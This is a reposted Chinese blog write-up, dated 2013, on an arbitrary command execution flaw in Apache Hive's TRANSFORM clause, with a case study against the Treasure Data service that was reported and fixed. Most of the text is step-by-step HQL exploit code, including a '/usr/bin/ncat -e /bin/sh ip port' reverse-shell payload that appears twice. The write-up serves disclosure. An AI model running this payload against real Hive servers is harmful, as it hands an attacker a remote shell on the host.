且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

Hive任意命令/代码执行漏洞+渗透实例

更新时间:2022-09-14 12:28:01

Author: kindle
Date: 2013-02-9

Hive是建立在 Hadoop 上的数据仓库基础构架。它提供了一系列的工具,可以用来进行数据提取转化加载(ETL),这是一种可以存储、查询和分析存储在 Hadoop 中的大规模数据的机制。Hive 定义了简单的类 SQL 查询语言,称为 QL,它允许熟悉 SQL 的用户查询数据。同时,这个语言也允许熟悉 MapReduce 开发者的开发自定义的 mapper 和 reducer 来处理内建的 mapper 和 reducer 无法完成的复杂的分析工作。

漏洞详情

HQL可以通过transform自定义Hive使用的 Map/Reduce 脚本,从而调用shell/python等语言,导致攻击者可以通过hive接口等相关操作方式直接获取服务器权限

测试代码

cat /root/test
1 test

创建测试表
create table if not exists kindle(id int,test string);
通过transform来自定义hive使用的shell命令,反弹shell
select transform(id) USING ‘/usr/bin/ncat -e /bin/sh ip port’ from kindle;
删除测试表
drop table kindle;

 Hive任意命令/代码执行漏洞+渗透实例

漏洞状态

通知了部分大公司,尚未联系官方

 

————————————————————————————-邪恶的分割线————————————————————————————-

 

实战案例

测试Treasure Data集群(Hadoop-based Big Data as a Service on the Cloud | Treasure Data)

过程

Hive任意命令/代码执行漏洞+渗透实例

Hive任意命令/代码执行漏洞+渗透实例

 

修复状态

已经通知Treasure Data官方,修补好了,如下图官方的回复

Hive任意命令/代码执行漏洞+渗透实例

新建/root/test文件,内容是1(或者任意int型数字)
创建测试表
create table if not exists kindle(id int);
导入数据(这步很关键,没数据无法触发漏洞)
LOAD DATA LOCAL INPATH ‘/root/test’ INTO TABLE kindle;
通过transform来自定义hive使用的shell命令,反弹shell
select transform(id) USING ‘/usr/bin/ncat -e /bin/sh ip port’ from kindle;
删除测试表
drop table kindle;
http://www.sectop.org/2013/02/treasure-data-hive-vuln/